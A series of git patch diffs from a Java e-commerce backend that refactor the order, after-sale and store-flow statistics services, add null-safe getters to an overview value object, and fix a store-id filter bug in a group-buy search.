a/framework/src/main/java/cn/lili/modules/statistics/service/AfterSaleStatisticsService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/AfterSaleStatisticsService.java @@ -1,6 +1,9 @@ package cn.lili.modules.statistics.service; +import cn.lili.common.vo.PageVO; import cn.lili.modules.order.aftersale.entity.dos.AfterSale; +import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; +import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; /** @@ -18,4 +21,13 @@ public interface AfterSaleStatisticsService extends IService { * @return 待处理售后数量 */ Integer applyNum(String serviceType); + + /** + * 获取统计的售后 + * + * @param statisticsQueryParam 统计搜索参数 + * @param pageVO 分页 + * @return 售后分页列表 + */ + IPage getStatistics(StatisticsQueryParam statisticsQueryParam, PageVO pageVO); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/OrderStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/OrderStatisticsService.java index dc93ef7e..809a0ddf 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/OrderStatisticsService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/OrderStatisticsService.java @@ -1,9 +1,12 @@ package cn.lili.modules.statistics.service; +import cn.lili.common.vo.PageVO; import cn.lili.modules.order.order.entity.dos.StoreFlow; +import cn.lili.modules.order.order.entity.vo.OrderSimpleVO; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.statistics.entity.vo.OrderOverviewVO; import cn.lili.modules.statistics.entity.vo.OrderStatisticsDataVO; +import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; import java.util.List; @@ -56,4 +59,12 @@ public interface OrderStatisticsService extends IService { */ List statisticsChart(StatisticsQueryParam statisticsQueryParam); + /** + * 获取统计的订单 + * + * @param statisticsQueryParam + * @param pageVO + * @return + */ + IPage getStatistics(StatisticsQueryParam statisticsQueryParam, PageVO pageVO); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/AfterSaleStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/AfterSaleStatisticsServiceImpl.java index 43d7599e..eabd80ee 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/AfterSaleStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/AfterSaleStatisticsServiceImpl.java @@ -4,15 +4,21 @@ import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.security.AuthUser; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; +import cn.lili.common.vo.PageVO; import cn.lili.modules.order.aftersale.entity.dos.AfterSale; import cn.lili.modules.order.trade.entity.enums.AfterSaleStatusEnum; +import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.statistics.mapper.AfterSaleStatisticsMapper; import cn.lili.modules.statistics.service.AfterSaleStatisticsService; +import cn.lili.modules.statistics.util.StatisticsDateUtil; +import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.core.toolkit.Wrappers; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.stereotype.Service; +import java.util.Date; import java.util.Objects; /** @@ -35,4 +41,17 @@ public class AfterSaleStatisticsServiceImpl extends ServiceImpl getStatistics(StatisticsQueryParam statisticsQueryParam, PageVO pageVO) { + + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + Date[] dates = StatisticsDateUtil.getDateArray(statisticsQueryParam); + queryWrapper.between(AfterSale::getCreateTime, dates[0], dates[1]); + queryWrapper.eq(CharSequenceUtil.isNotEmpty(statisticsQueryParam.getStoreId()), AfterSale::getStoreId, statisticsQueryParam.getStoreId()); + + return this.page(PageUtil.initPage(pageVO), queryWrapper); + } + } diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java index 8bc48da9..820d933f 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java @@ -6,20 +6,24 @@ import cn.lili.common.security.enums.UserEnums; import cn.lili.common.utils.CurrencyUtil; import cn.lili.common.utils.DateUtil; import cn.lili.common.utils.StringUtils; +import cn.lili.common.vo.PageVO; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.dos.StoreFlow; import cn.lili.modules.order.order.entity.enums.FlowTypeEnum; import cn.lili.modules.order.order.entity.enums.PayStatusEnum; +import cn.lili.modules.order.order.entity.vo.OrderSimpleVO; import cn.lili.modules.order.order.service.OrderService; -import cn.lili.modules.statistics.mapper.OrderStatisticsMapper; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.statistics.entity.vo.OrderOverviewVO; import cn.lili.modules.statistics.entity.vo.OrderStatisticsDataVO; +import cn.lili.modules.statistics.mapper.OrderStatisticsMapper; import cn.lili.modules.statistics.service.OrderStatisticsService; import cn.lili.modules.statistics.service.PlatformViewService; import cn.lili.modules.statistics.util.StatisticsDateUtil; +import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.core.toolkit.Wrappers; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.beans.factory.annotation.Autowired; @@ -268,6 +272,20 @@ public class OrderStatisticsServiceImpl extends ServiceImpl getStatistics(StatisticsQueryParam statisticsQueryParam, PageVO pageVO) { + + QueryWrapper queryWrapper = new QueryWrapper<>(); + Date[] dates = StatisticsDateUtil.getDateArray(statisticsQueryParam); + queryWrapper.between("o.create_time", dates[0], dates[1]); + queryWrapper.eq(StringUtils.isNotEmpty(statisticsQueryParam.getStoreId()), + "o.store_id", statisticsQueryParam.getStoreId()); + + queryWrapper.eq("o.delete_flag", false); + queryWrapper.groupBy("o.id"); + queryWrapper.orderByDesc("o.id"); + return this.baseMapper.queryByParams(PageUtil.initPage(pageVO), queryWrapper); + } private QueryWrapper getQueryWrapper(StatisticsQueryParam statisticsQueryParam) { QueryWrapper queryWrapper = Wrappers.query(); diff --git a/manager-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsManagerController.java b/manager-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsManagerController.java index 472aed29..f307ca03 100644 --- a/manager-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsManagerController.java @@ -5,11 +5,10 @@ import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.order.aftersale.entity.dos.AfterSale; import cn.lili.modules.order.order.entity.vo.OrderSimpleVO; -import cn.lili.modules.order.aftersale.service.AfterSaleService; -import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.statistics.entity.vo.OrderOverviewVO; import cn.lili.modules.statistics.entity.vo.OrderStatisticsDataVO; +import cn.lili.modules.statistics.service.AfterSaleStatisticsService; import cn.lili.modules.statistics.service.OrderStatisticsService; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; @@ -36,9 +35,7 @@ public class OrderStatisticsManagerController { @Autowired private OrderStatisticsService orderStatisticsService; @Autowired - private OrderService orderService; - @Autowired - private AfterSaleService afterSaleService; + private AfterSaleStatisticsService afterSaleStatisticsService; @ApiOperation(value = "订单概览统计") @GetMapping("/overview") @@ -67,7 +64,7 @@ public class OrderStatisticsManagerController { @GetMapping("/order") public ResultMessage> order(StatisticsQueryParam statisticsQueryParam, PageVO pageVO) { try { - return ResultUtil.data(orderService.getStatistics(statisticsQueryParam, pageVO)); + return ResultUtil.data(orderStatisticsService.getStatistics(statisticsQueryParam, pageVO)); } catch (Exception e) { log.error("订单统计",e); } @@ -78,6 +75,6 @@ public class OrderStatisticsManagerController { @ApiOperation(value = "退单统计") @GetMapping("/refund") public ResultMessage> refund(StatisticsQueryParam statisticsQueryParam, PageVO pageVO) { - return ResultUtil.data(afterSaleService.getStatistics(statisticsQueryParam, pageVO)); + return ResultUtil.data(afterSaleStatisticsService.getStatistics(statisticsQueryParam, pageVO)); } } diff --git a/seller-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsStoreController.java b/seller-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsStoreController.java index c36248c6..2285e9ad 100644 --- a/seller-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsStoreController.java @@ -6,11 +6,10 @@ import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.order.aftersale.entity.dos.AfterSale; import cn.lili.modules.order.order.entity.vo.OrderSimpleVO; -import cn.lili.modules.order.aftersale.service.AfterSaleService; -import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.statistics.entity.vo.OrderOverviewVO; import cn.lili.modules.statistics.entity.vo.OrderStatisticsDataVO; +import cn.lili.modules.statistics.service.AfterSaleStatisticsService; import cn.lili.modules.statistics.service.OrderStatisticsService; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; @@ -36,16 +35,11 @@ import java.util.Objects; @RequestMapping("/store/statistics/order") public class OrderStatisticsStoreController { - /** - * 订单 - */ - @Autowired - private OrderService orderService; /** * 售后 */ @Autowired - private AfterSaleService afterSaleService; + private AfterSaleStatisticsService afterSaleStatisticsService; /** * 订单统计 */ @@ -85,7 +79,7 @@ public class OrderStatisticsStoreController { String storeId = Objects.requireNonNull(UserContext.getCurrentUser()).getStoreId(); try { statisticsQueryParam.setStoreId(storeId); - return ResultUtil.data(orderService.getStatistics(statisticsQueryParam, pageVO)); + return ResultUtil.data(orderStatisticsService.getStatistics(statisticsQueryParam, pageVO)); } catch (Exception e) { log.error("订单统计错误", e); } @@ -98,6 +92,6 @@ public class OrderStatisticsStoreController { public ResultMessage> refund(StatisticsQueryParam statisticsQueryParam, PageVO pageVO) { String storeId = Objects.requireNonNull(UserContext.getCurrentUser()).getStoreId(); statisticsQueryParam.setStoreId(storeId); - return ResultUtil.data(afterSaleService.getStatistics(statisticsQueryParam, pageVO)); + return ResultUtil.data(afterSaleStatisticsService.getStatistics(statisticsQueryParam, pageVO)); } } From ea80777ef62130cad72d9167f9100762aa876a80 Mon Sep 17 00:00:00 2001 From: Chopper Date: Mon, 6 Dec 2021 14:57:29 +0800 Subject: [PATCH 040/145] =?UTF-8?q?=E4=BC=98=E5=8C=96=E4=BB=A3=E7=A0=81?= =?UTF-8?q?=E7=BB=93=E6=9E=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../statistics/entity/vo/OrderOverviewVO.java | 79 ++++++++-- .../mapper/OrderStatisticsMapper.java | 6 +- .../service/OrderStatisticsService.java | 12 +- .../service/StoreFlowStatisticsService.java | 20 +++ .../IndexStatisticsServiceImpl.java | 2 +- .../OrderStatisticsServiceImpl.java | 141 +----------------- .../StoreFlowStatisticsServiceImpl.java | 133 +++++++++++++++++ 7 files changed, 237 insertions(+), 156 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/statistics/entity/vo/OrderOverviewVO.java b/framework/src/main/java/cn/lili/modules/statistics/entity/vo/OrderOverviewVO.java index ce3dbf16..3bf8f8b4 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/entity/vo/OrderOverviewVO.java +++ b/framework/src/main/java/cn/lili/modules/statistics/entity/vo/OrderOverviewVO.java @@ -13,41 +13,41 @@ import lombok.Data; public class OrderOverviewVO { @ApiModelProperty(value = "UV人次") - private Integer uvNum = 0; + private Long uvNum; /** * 下单统计 */ @ApiModelProperty(value = "下单数量") - private Long orderNum = 0L; + private Long orderNum; @ApiModelProperty(value = "下单人数") - private Long orderMemberNum = 0L; + private Long orderMemberNum; @ApiModelProperty(value = "下单金额") - private Double orderAmount = 0D; + private Double orderAmount; /** * 付款统计 */ @ApiModelProperty(value = "付款订单数量") - private Long paymentOrderNum = 0L; + private Long paymentOrderNum; @ApiModelProperty(value = "付款人数") - private Long paymentsNum = 0L; + private Long paymentsNum; @ApiModelProperty(value = "付款金额") - private Double paymentAmount = 0D; + private Double paymentAmount; /** * 退单统计 */ @ApiModelProperty(value = "退单笔数") - private Long refundOrderNum = 0L; + private Long refundOrderNum; @ApiModelProperty(value = "退单金额") - private Double refundOrderPrice = 0D; + private Double refundOrderPrice; /** * 转换率 @@ -61,5 +61,66 @@ public class OrderOverviewVO { @ApiModelProperty(value = "整体转换率") private String overallConversionRate; + public Long getUvNum() { + if (uvNum == null) { + return 0L; + } + return uvNum; + } + public Long getOrderNum() { + if (orderNum == null) { + return 0L; + } + return orderNum; + } + + public Long getOrderMemberNum() { + if (orderMemberNum == null) { + return 0L; + } + return orderMemberNum; + } + + public Double getOrderAmount() { + if (orderAmount == null) { + return 0D; + } + return orderAmount; + } + + public Long getPaymentOrderNum() { + if (paymentOrderNum == null) { + return 0L; + } + return paymentOrderNum; + } + + public Long getPaymentsNum() { + if (paymentsNum == null) { + return 0L; + } + return paymentsNum; + } + + public Double getPaymentAmount() { + if (paymentAmount == null) { + return 0D; + } + return paymentAmount; + } + + public Long getRefundOrderNum() { + if (refundOrderNum == null) { + return 0L; + } + return refundOrderNum; + } + + public Double getRefundOrderPrice() { + if (refundOrderPrice == null) { + return 0D; + } + return refundOrderPrice; + } } diff --git a/framework/src/main/java/cn/lili/modules/statistics/mapper/OrderStatisticsMapper.java b/framework/src/main/java/cn/lili/modules/statistics/mapper/OrderStatisticsMapper.java index 9d7ea098..f1fff3c1 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/mapper/OrderStatisticsMapper.java +++ b/framework/src/main/java/cn/lili/modules/statistics/mapper/OrderStatisticsMapper.java @@ -1,6 +1,6 @@ package cn.lili.modules.statistics.mapper; -import cn.lili.modules.order.order.entity.dos.StoreFlow; +import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.vo.OrderSimpleVO; import cn.lili.modules.statistics.entity.vo.OrderStatisticsDataVO; import com.baomidou.mybatisplus.core.conditions.Wrapper; @@ -18,10 +18,11 @@ import java.util.List; * @author Bulbasaur * @since 2020/11/17 7:34 下午 */ -public interface OrderStatisticsMapper extends BaseMapper { +public interface OrderStatisticsMapper extends BaseMapper { /** * 获取订单统计数据 + * * @param queryWrapper 查询条件 * @return 订单统计列表 */ @@ -31,6 +32,7 @@ public interface OrderStatisticsMapper extends BaseMapper { /** * 订单数量 + * * @param queryWrapper 查询条件 * @return 订单数量 */ diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/OrderStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/OrderStatisticsService.java index 809a0ddf..37752dc8 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/OrderStatisticsService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/OrderStatisticsService.java @@ -1,7 +1,7 @@ package cn.lili.modules.statistics.service; import cn.lili.common.vo.PageVO; -import cn.lili.modules.order.order.entity.dos.StoreFlow; +import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.vo.OrderSimpleVO; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.statistics.entity.vo.OrderOverviewVO; @@ -18,7 +18,7 @@ import java.util.Map; * @author Bulbasaur * @since 2020/12/9 11:06 */ -public interface OrderStatisticsService extends IService { +public interface OrderStatisticsService extends IService { /** * 订单统计概览 @@ -35,14 +35,6 @@ public interface OrderStatisticsService extends IService { */ Map getStoreOrderStatisticsPrice(); - - /** - * 查询今日付款统计 - * - * @return 订单统计金额 - */ - Map getOrderStatisticsPrice(); - /** * 获取订单总数量 * diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/StoreFlowStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/StoreFlowStatisticsService.java index ed3beb32..9f99d7dd 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/StoreFlowStatisticsService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/StoreFlowStatisticsService.java @@ -2,14 +2,18 @@ package cn.lili.modules.statistics.service; import cn.lili.modules.order.order.entity.dos.StoreFlow; import cn.lili.modules.statistics.entity.dto.GoodsStatisticsQueryParam; +import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.statistics.entity.vo.CategoryStatisticsDataVO; import cn.lili.modules.statistics.entity.vo.GoodsStatisticsDataVO; +import cn.lili.modules.statistics.entity.vo.OrderOverviewVO; import cn.lili.modules.statistics.entity.vo.StoreStatisticsDataVO; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.extension.plugins.pagination.Page; import com.baomidou.mybatisplus.extension.service.IService; +import java.util.Date; import java.util.List; +import java.util.Map; /** * 流水统计业务层 @@ -46,4 +50,20 @@ public interface StoreFlowStatisticsService extends IService { * @return */ List getStoreStatisticsData(Page page, QueryWrapper queryWrapper); + + /** + * 查询今日付款统计 + * + * @return 订单统计金额 + */ + Map getOrderStatisticsPrice(); + + /** + * 订单统计,数据概览 + * + * @param dates + * @param orderOverviewVO + * @param statisticsQueryParam + */ + void overview(Date[] dates, OrderOverviewVO orderOverviewVO, StatisticsQueryParam statisticsQueryParam); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/IndexStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/IndexStatisticsServiceImpl.java index e4982190..82b953c2 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/IndexStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/IndexStatisticsServiceImpl.java @@ -133,7 +133,7 @@ public class IndexStatisticsServiceImpl implements IndexStatisticsService { indexStatisticsVO.setStoreNum(storeStatisticsService.storeNum()); //下单统计 - Map map = orderStatisticsService.getOrderStatisticsPrice(); + Map map = storeFlowStatisticsService.getOrderStatisticsPrice(); //今日下单数 indexStatisticsVO.setTodayOrderNum(map.get("num") == null ? 0L : (Long) map.get("num")); //今日下单金额 diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java index 820d933f..367bfe2b 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java @@ -1,18 +1,14 @@ package cn.lili.modules.statistics.serviceimpl; -import cn.lili.common.security.AuthUser; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; import cn.lili.common.utils.CurrencyUtil; -import cn.lili.common.utils.DateUtil; import cn.lili.common.utils.StringUtils; import cn.lili.common.vo.PageVO; import cn.lili.modules.order.order.entity.dos.Order; -import cn.lili.modules.order.order.entity.dos.StoreFlow; import cn.lili.modules.order.order.entity.enums.FlowTypeEnum; import cn.lili.modules.order.order.entity.enums.PayStatusEnum; import cn.lili.modules.order.order.entity.vo.OrderSimpleVO; -import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.statistics.entity.vo.OrderOverviewVO; import cn.lili.modules.statistics.entity.vo.OrderStatisticsDataVO; @@ -38,18 +34,13 @@ import java.util.*; * @since 2020/12/9 17:16 */ @Service -public class OrderStatisticsServiceImpl extends ServiceImpl implements OrderStatisticsService { +public class OrderStatisticsServiceImpl extends ServiceImpl implements OrderStatisticsService { /** * 平台PV统计 */ @Autowired private PlatformViewService platformViewService; - /** - * 订单 - */ - @Autowired - private OrderService orderService; @Override public OrderOverviewVO overview(StatisticsQueryParam statisticsQueryParam) { @@ -57,16 +48,10 @@ public class OrderStatisticsServiceImpl extends ServiceImpl getStoreOrderStatisticsPrice() { QueryWrapper queryWrapper = new QueryWrapper(); @@ -205,23 +94,6 @@ public class OrderStatisticsServiceImpl extends ServiceImpl getOrderStatisticsPrice() { - QueryWrapper queryWrapper = Wrappers.query(); - //支付订单 - queryWrapper.eq("flow_type", FlowTypeEnum.PAY.name()); - - //商家查询,则增加商家判定 - AuthUser authUser = UserContext.getCurrentUser(); - if (authUser.getRole().equals(UserEnums.STORE)) { - queryWrapper.eq("store_id", authUser.getStoreId()); - } - //大于今天凌晨 - queryWrapper.ge("create_time", DateUtil.startOfTodDayTime()); - - queryWrapper.select("SUM(final_price) AS price , COUNT(0) AS num"); - return this.getMap(queryWrapper); - } @Override public Integer orderNum(String orderStatus) { @@ -229,7 +101,7 @@ public class OrderStatisticsServiceImpl extends ServiceImpl getOrderStatisticsPrice() { + QueryWrapper queryWrapper = Wrappers.query(); + //支付订单 + queryWrapper.eq("flow_type", FlowTypeEnum.PAY.name()); + + //商家查询,则增加商家判定 + AuthUser authUser = UserContext.getCurrentUser(); + if (authUser.getRole().equals(UserEnums.STORE)) { + queryWrapper.eq("store_id", authUser.getStoreId()); + } + //大于今天凌晨 + queryWrapper.ge("create_time", cn.lili.common.utils.DateUtil.startOfTodDayTime()); + + queryWrapper.select("SUM(final_price) AS price , COUNT(0) AS num"); + return this.getMap(queryWrapper); + } + + + @Override + public void overview(Date[] dates, OrderOverviewVO orderOverviewVO, StatisticsQueryParam statisticsQueryParam) { + //下单统计 + initOrder(dates, orderOverviewVO, statisticsQueryParam); + + //付款统计 + initPayment(dates, orderOverviewVO, statisticsQueryParam); + + //退单统计 + initAfterSale(dates, orderOverviewVO, statisticsQueryParam); + } + + /** + * 订单统计-下单属性填充 + * + * @param dates + * @param orderOverviewVO + */ + private void initOrder(Date[] dates, OrderOverviewVO orderOverviewVO, StatisticsQueryParam statisticsQueryParam) { + //构建查询条件 + QueryWrapper queryWrapper = Wrappers.query(); + //时间区间 + queryWrapper.between("create_time", dates[0], dates[1]); + //如果有店铺id传入,则查询店铺 + if (StringUtils.isNotEmpty(statisticsQueryParam.getStoreId())) { + queryWrapper.eq("store_id", statisticsQueryParam.getStoreId()); + } + //查询流水金额和订单数量 + queryWrapper.select("SUM(flow_price) AS price , COUNT(0) AS num"); + //获取查询结果 + Map order = this.getMap(queryWrapper); + //赋予订单数和流水金额 + orderOverviewVO.setOrderNum(order != null && order.containsKey("num") ? (Long) order.get("num") : 0L); + orderOverviewVO.setOrderAmount(order != null && order.containsKey("price") ? (double) order.get("price") : 0L); + + //查询下单人数 + queryWrapper = Wrappers.query(); + //时间区间 + queryWrapper.between("create_time", dates[0], dates[1]); + //如果有店铺id传入,则查询店铺 + if (StringUtils.isNotEmpty(statisticsQueryParam.getStoreId())) { + queryWrapper.eq("store_id", statisticsQueryParam.getStoreId()); + } + //查询下单人数的sql + queryWrapper.select("count(DISTINCT member_id) AS num"); + //获取查询结果 + Map memberNum = this.getMap(queryWrapper); + //写入下单人数 + orderOverviewVO.setOrderMemberNum(memberNum != null && memberNum.containsKey("num") ? (Long) memberNum.get("num") : 0L); + } + + /** + * 订单统计-付款属性填充 + * + * @param dates + * @param orderOverviewVO + */ + private void initPayment(Date[] dates, OrderOverviewVO orderOverviewVO, StatisticsQueryParam statisticsQueryParam) { + //付款订单数,付款金额 + QueryWrapper queryWrapper = Wrappers.query(); + queryWrapper.between("create_time", dates[0], dates[1]); + //如果有店铺id传入,则查询店铺 + if (StringUtils.isNotEmpty(statisticsQueryParam.getStoreId())) { + queryWrapper.eq("store_id", statisticsQueryParam.getStoreId()); + } + queryWrapper.select("SUM(final_price) AS price , COUNT(0) AS num"); + queryWrapper.eq("flow_type", FlowTypeEnum.PAY.name()); + Map payment = this.getMap(queryWrapper); + + orderOverviewVO.setPaymentOrderNum(payment != null && payment.containsKey("num") ? (Long) payment.get("num") : 0L); + orderOverviewVO.setPaymentAmount(payment != null && payment.containsKey("price") ? (Double) payment.get("price") : 0D); + + //付款人数 + queryWrapper = Wrappers.query(); + queryWrapper.between("create_time", dates[0], dates[1]); + //如果有店铺id传入,则查询店铺 + if (StringUtils.isNotEmpty(statisticsQueryParam.getStoreId())) { + queryWrapper.eq("store_id", statisticsQueryParam.getStoreId()); + } + queryWrapper.select("COUNT(0) AS num"); + queryWrapper.groupBy("member_id"); + Map paymentMemberNum = this.getMap(queryWrapper); + + orderOverviewVO.setPaymentsNum(paymentMemberNum != null && paymentMemberNum.containsKey("num") ? (Long) paymentMemberNum.get("num") : 0L); + } + + /** + * 订单统计-付款属性填充 + * + * @param dates + * @param orderOverviewVO + */ + private void initAfterSale(Date[] dates, OrderOverviewVO orderOverviewVO, StatisticsQueryParam statisticsQueryParam) { + //付款订单数,付款金额 + QueryWrapper queryWrapper = Wrappers.query(); + queryWrapper.between("create_time", dates[0], dates[1]); + queryWrapper.select("SUM(final_price) AS price , COUNT(0) AS num"); + //如果有店铺id传入,则查询店铺 + if (StringUtils.isNotEmpty(statisticsQueryParam.getStoreId())) { + queryWrapper.eq("store_id", statisticsQueryParam.getStoreId()); + } + queryWrapper.eq("flow_type", FlowTypeEnum.REFUND.name()); + Map payment = this.getMap(queryWrapper); + orderOverviewVO.setRefundOrderNum(payment != null && payment.containsKey("num") ? (Long) payment.get("num") : 0L); + orderOverviewVO.setRefundOrderPrice(payment != null && payment.containsKey("price") ? (Double) payment.get("price") : 0D); + } + + /** * 组织查询条件 * From f24019d306c9b9e3843d00f52733cc5a2e841082 Mon Sep 17 00:00:00 2001 From: Chopper Date: Mon, 6 Dec 2021 15:07:28 +0800 Subject: [PATCH 041/145] =?UTF-8?q?=E8=AE=A2=E5=8D=95=E6=B5=81=E6=B0=B4?= =?UTF-8?q?=E4=B8=8E=E8=AE=A2=E5=8D=95=E4=B8=9A=E5=8A=A1=E9=87=8D=E5=8F=A0?= =?UTF-8?q?=E4=BB=A3=E7=A0=81=E4=BC=98=E5=8C=96?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../serviceimpl/OrderStatisticsServiceImpl.java | 9 +++++++++ .../serviceimpl/StoreFlowStatisticsServiceImpl.java | 7 ++++++- 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java index 367bfe2b..c01f1b58 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java @@ -15,6 +15,7 @@ import cn.lili.modules.statistics.entity.vo.OrderStatisticsDataVO; import cn.lili.modules.statistics.mapper.OrderStatisticsMapper; import cn.lili.modules.statistics.service.OrderStatisticsService; import cn.lili.modules.statistics.service.PlatformViewService; +import cn.lili.modules.statistics.service.StoreFlowStatisticsService; import cn.lili.modules.statistics.util.StatisticsDateUtil; import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; @@ -42,11 +43,19 @@ public class OrderStatisticsServiceImpl extends ServiceImpl implements StoreFlowStatisticsService { + + @Autowired + private OrderStatisticsService orderStatisticsService; @Override public List getGoodsStatisticsData(GoodsStatisticsQueryParam goodsStatisticsQueryParam, Integer num) { //获取查询条件 @@ -112,7 +117,7 @@ public class StoreFlowStatisticsServiceImpl extends ServiceImpl Date: Mon, 6 Dec 2021 15:18:03 +0800 Subject: [PATCH 042/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8Dstore/promotion/pintu?= =?UTF-8?q?an=E8=BF=99=E4=B8=AA=E6=8E=A5=E5=8F=A3=E4=B8=AD=EF=BC=8C?= =?UTF-8?q?=E8=8E=B7=E5=8F=96=E6=8B=BC=E5=9B=A2=E5=88=97=E8=A1=A8=E6=9F=A5?= =?UTF-8?q?=E8=AF=A2bug=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../lili/modules/promotion/entity/vos/PintuanSearchParams.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java index 79da0d01..ecff3c29 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java @@ -55,7 +55,7 @@ public class PintuanSearchParams { queryWrapper.like("store_name", storeName); } if (!StringUtils.isEmpty(storeId)) { - queryWrapper.eq("store_id", storeName); + queryWrapper.eq("store_id", storeId); } if (startTime != null) { queryWrapper.ge("start_time", new Date(startTime)); From 3ac28ac2181b2fb91a966e27fdaf0baf692de96e Mon Sep 17 00:00:00 2001 From: yangkang Date: Mon, 6 Dec 2021 15:18:03 +0800 Subject: [PATCH 043/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8Dstore/promotion/pintu?= 